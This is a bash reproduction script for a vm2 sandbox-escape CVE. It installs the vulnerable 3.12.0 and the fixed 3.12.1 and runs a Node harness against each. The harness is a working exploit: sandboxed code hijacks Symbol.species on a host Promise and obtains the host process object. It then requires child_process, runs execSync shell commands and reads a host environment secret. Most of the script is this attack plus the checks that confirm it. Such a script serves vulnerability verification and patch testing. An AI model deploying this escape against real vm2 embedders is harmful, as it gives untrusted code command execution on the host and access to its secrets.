#!/bin/bash
set -euo pipefail

# CVE-2026-93606 - vm2 <= 3.12.0 sandbox escape via host-realm Promise
# Symbol.species hijack + missing onRejected handler (V8 internal Thrower).
# Runs the REAL vm2 library (VM and NodeVM) from the npm registry:
#   vulnerable: vm2@3.12.0   fixed: vm2@3.12.1
# A sandboxed script hijacks p.constructor[Symbol.species] on a host-realm
# Promise, captures the reaction capability reject closure, and receives the
# raw host rejection value (host `process`), then runs host child_process.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF_DIR="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$PROOF_DIR"

cd "$ROOT"

# Diagnostics log (never listed as a proof artifact; proof artifacts are the
# finalized per-attempt logs/markers below).
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

VULN_VERSION="3.12.0"
FIXED_VERSION="3.12.1"

# --- Dependency location: prefer the prepared project cache -------------------
PKG_BASE=""
CACHE_CTX="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CTX" ] && command -v python3 >/dev/null 2>&1; then
	PC_DIR="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d.get("project_cache_dir","") if d.get("prepared") else "")' "$CACHE_CTX" 2>/dev/null || true)"
	if [ -n "$PC_DIR" ] && [ -d "$PC_DIR" ] && [ -w "$PC_DIR" ]; then
		PKG_BASE="$PC_DIR/vm2-pkgs"
	fi
fi
if [ -z "$PKG_BASE" ]; then
	PKG_BASE="$ROOT/artifacts/vm2-pkgs"
fi
mkdir -p "$PKG_BASE"

echo "[*] Package base: $PKG_BASE"

# --- Fetch + install exact vm2 versions (immutable tarballs) ------------------
install_vm2() {
	local ver="$1"
	local dest="$PKG_BASE/vm2-$ver"
	local tgz="$PKG_BASE/vm2-$ver.tgz"
	if [ ! -d "$dest/package/lib" ]; then
		rm -rf "$dest"
		mkdir -p "$dest"
		if [ ! -f "$tgz" ]; then
			(cd "$PKG_BASE" && npm pack "vm2@$ver" --silent >/dev/null)
		fi
		tar xzf "$tgz" -C "$dest"
		(cd "$dest/package" && npm install --omit=dev --no-audit --no-fund --silent)
	fi
	# Sanity: verify installed version label
	local inst
	inst="$(python3 -c "import json;print(json.load(open('$dest/package/package.json'))['version'])")"
	if [ "$inst" != "$ver" ]; then
		echo "[!] installed version mismatch: wanted $ver got $inst" >&2
		exit 2
	fi
}

install_vm2 "$VULN_VERSION"
install_vm2 "$FIXED_VERSION"

VULN_DIR="$PKG_BASE/vm2-$VULN_VERSION/package"
FIXED_DIR="$PKG_BASE/vm2-$FIXED_VERSION/package"
VULN_TGZ_SHA="$(sha256sum "$PKG_BASE/vm2-$VULN_VERSION.tgz" | cut -d' ' -f1)"
FIXED_TGZ_SHA="$(sha256sum "$PKG_BASE/vm2-$FIXED_VERSION.tgz" | cut -d' ' -f1)"
echo "[*] vm2@$VULN_VERSION tarball sha256: $VULN_TGZ_SHA"
echo "[*] vm2@$FIXED_VERSION tarball sha256: $FIXED_TGZ_SHA"

# --- Exploit harness (written at runtime; exercises the real library) --------
cat > "$REPRO_DIR/harness.js" <<'EOF'
'use strict';
// CVE-2026-93606 harness: node harness.js <vm2-module-dir> <VM|NodeVM> <attempt-id>
const vm2dir = process.argv[2];
const mode = process.argv[3];
const attempt = process.argv[4] || 'x';

process.env.HOST_ONLY_SECRET = 'CANARY123';
// Fixed builds leave a genuinely unhandled host rejection after neutralizing
// the species channel; do not let the Node default (--unhandled-rejections=
// throw) mask the comparison.
process.on('unhandledRejection', () => {});

const { VM, NodeVM } = require(vm2dir);

async function main() {
	const sandbox = {
		// Canonical vm2 embedder pattern: expose a host async API that returns
		// a genuine host-realm Promise. It rejects with host `process` purely
		// as a host-pivotable canary value.
		hostApiCall: () => Promise.reject(process),
	};
	const opts = { eval: false, wasm: false, sandbox };
	const vm = mode === 'NodeVM' ? new NodeVM(opts) : new VM(opts);

	const body = `
		(async () => {
			let leaked = 'UNSET';
			class Evil {
				constructor(executor) {
					// executor is V8's internal GetCapabilitiesExecutor; calling
					// it installs attacker closures as the native reaction
					// capability's resolve/reject.
					executor(
						(v) => {},
						(hostValue) => {
							// Reached only on vulnerable vm2: V8's internal Thrower
							// delivers the RAW host rejection value here, bypassing
							// hostPromiseSanitizeReject / handleException entirely.
							try {
								const cp = hostValue.mainModule.require('child_process');
								const exec = cp.execSync('echo PWNED_FROM_SANDBOX').toString().trim();
								const markerPath = hostValue.env.HOST_MARKER_PATH;
								const markerToken = hostValue.env.HOST_MARKER_TOKEN;
								let markerWritten = false;
								if (markerPath) {
									cp.execSync('printf %s "' + markerToken + '" > "' + markerPath + '"');
									markerWritten = true;
								}
								leaked = JSON.stringify({
									isProxy: hostValue.isProxy === true,
									envSecret: hostValue.env.HOST_ONLY_SECRET,
									exec,
									markerWritten,
								});
							} catch (e) {
								leaked = 'PIVOT FAILED: ' + e.message;
							}
						}
					);
				}
			}
			const p = hostApiCall(); // genuine host-realm Promise
			// Hijack the species channel on the raw host promise object.
			p.constructor = { [Symbol.species]: Evil };
			// No onRejected: V8 substitutes its internal Thrower reaction.
			p.then();
			await Promise.resolve();
			await Promise.resolve();
			await Promise.resolve();
			await Promise.resolve();
			return leaked;
		})()
	`;

	const code = mode === 'NodeVM' ? `module.exports = ${body}` : body;
	const result = await vm.run(code);
	console.log('[' + mode + ':' + attempt + '] sandbox returned:', result);
	let parsed = null;
	try { parsed = JSON.parse(result); } catch (e) { /* not JSON */ }
	if (parsed && parsed.envSecret === 'CANARY123' && parsed.exec === 'PWNED_FROM_SANDBOX' && parsed.isProxy === true) {
		console.log('[' + mode + ':' + attempt + '] ESCAPE_CONFIRMED');
		process.exitCode = 0;
	} else {
		console.log('[' + mode + ':' + attempt + '] ESCAPE_NOT_CONFIRMED');
		process.exitCode = 1;
	}
}

main().catch((e) => {
	console.error('[' + mode + ':' + attempt + '] harness error:', e);
	process.exitCode = 2;
});
EOF

# --- Attempt runner ------------------------------------------------------------
run_attempt() {
	local role="$1"
	local mode="$2"
	local n="$3"
	local dir token log marker
	if [ "$role" = "vulnerable" ]; then dir="$VULN_DIR"; else dir="$FIXED_DIR"; fi
	token="PWNED_${role}_${mode}_${n}"
	log="$PROOF_DIR/${role}-${mode}-${n}.log"
	marker="$PROOF_DIR/marker-${role}-${mode}-${n}.txt"
	rm -f "$marker"
	set +e
	HOST_MARKER_PATH="$marker" HOST_MARKER_TOKEN="$token" \
		timeout 60 node "$REPRO_DIR/harness.js" "$dir" "$mode" "${role}-${n}" > "$log" 2>&1
	local rc=$?
	set -e
	cat "$log"
	local escaped=0
	if [ "$rc" -eq 0 ] && grep -q 'ESCAPE_CONFIRMED' "$log" && [ -f "$marker" ] \
		&& [ "$(cat "$marker")" = "$token" ]; then
		escaped=1
	fi
	echo "[*] ${role} ${mode} attempt ${n}: exit=$rc escaped=$escaped"
	return $((1 - escaped)) # return 0 when escaped
}

# Two clean attempts per build per sandbox class.
VULN_OK=1
for n in 1 2; do
	for mode in VM NodeVM; do
		if run_attempt vulnerable "$mode" "$n"; then
			echo "[+] vulnerable ($mode #$n): escape confirmed"
		else
			echo "[-] vulnerable ($mode #$n): escape NOT confirmed"
			VULN_OK=0
		fi
	done
done

FIXED_BLOCKED=1
for n in 1 2; do
	for mode in VM NodeVM; do
		if run_attempt fixed "$mode" "$n"; then
			echo "[-] fixed ($mode #$n): UNEXPECTED escape"
			FIXED_BLOCKED=0
		else
			echo "[+] fixed ($mode #$n): blocked as expected"
		fi
	done
done

# --- Runtime manifest -----------------------------------------------------------
PLATFORM="linux"
ARCH="$(uname -m)"
[ "$ARCH" = "x86_64" ] || ARCH="$ARCH"

python3 - "$REPRO_DIR" "$PROOF_DIR" "$VULN_TGZ_SHA" "$FIXED_TGZ_SHA" "$VULN_VERSION" "$FIXED_VERSION" "$PLATFORM" "$ARCH" "$VULN_OK" "$FIXED_BLOCKED" <<'PYEOF'
import json, sys, os, hashlib

repro_dir, proof_dir, vsha, fsha, vver, fver, platform, arch, vuln_ok, fixed_blocked = sys.argv[1:11]
confirmed = vuln_ok == "1"

artifacts = []
for name in sorted(os.listdir(proof_dir)):
    p = os.path.join(proof_dir, name)
    if os.path.isfile(p):
        artifacts.append(os.path.relpath(p, os.path.dirname(repro_dir)))
# also include the harness as proof of what executed
artifacts.append(os.path.relpath(os.path.join(repro_dir, "harness.js"), os.path.dirname(repro_dir)))

def sha(p):
    h = hashlib.sha256()
    with open(p, "rb") as f:
        h.update(f.read())
    return h.hexdigest()

artifact_sha256 = {rel: sha(os.path.join(os.path.dirname(repro_dir), rel)) for rel in artifacts}

manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "vm2 VM/NodeVM library API: sandboxed script hijacks Symbol.species on a host-realm Promise returned by an exposed host function and receives the raw host rejection value (host process) via V8's internal Thrower",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": confirmed,
    "runtime_stack": ["node", "vm2"],
    "target_identity": {
        "repository_url": "https://github.com/patriksimek/vm2",
        "target_digest": hashlib.sha256(("npm:vm2@%s:%s" % (vver, vsha)).encode()).hexdigest(),
        "platform": platform,
        "architecture": arch,
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": artifact_sha256,
    "notes": "vulnerable=vm2@%s (npm tarball sha256 %s), fixed=vm2@%s (npm tarball sha256 %s); fixed_blocked=%s"
             % (vver, vsha, fver, fsha, fixed_blocked),
}
with open(os.path.join(repro_dir, "runtime_manifest.json"), "w") as f:
    json.dump(manifest, f, indent=2)
print("[*] wrote runtime_manifest.json")
PYEOF

# --- Verdict ---------------------------------------------------------------------
echo "=================================================="
if [ "$VULN_OK" = "1" ] && [ "$FIXED_BLOCKED" = "1" ]; then
	echo "[+] CVE-2026-93606 CONFIRMED: sandbox escape on vm2@$VULN_VERSION (VM and NodeVM), blocked on vm2@$FIXED_VERSION"
	exit 0
else
	echo "[-] CVE-2026-93606 NOT confirmed (VULN_OK=$VULN_OK FIXED_BLOCKED=$FIXED_BLOCKED)"
	exit 1
fi
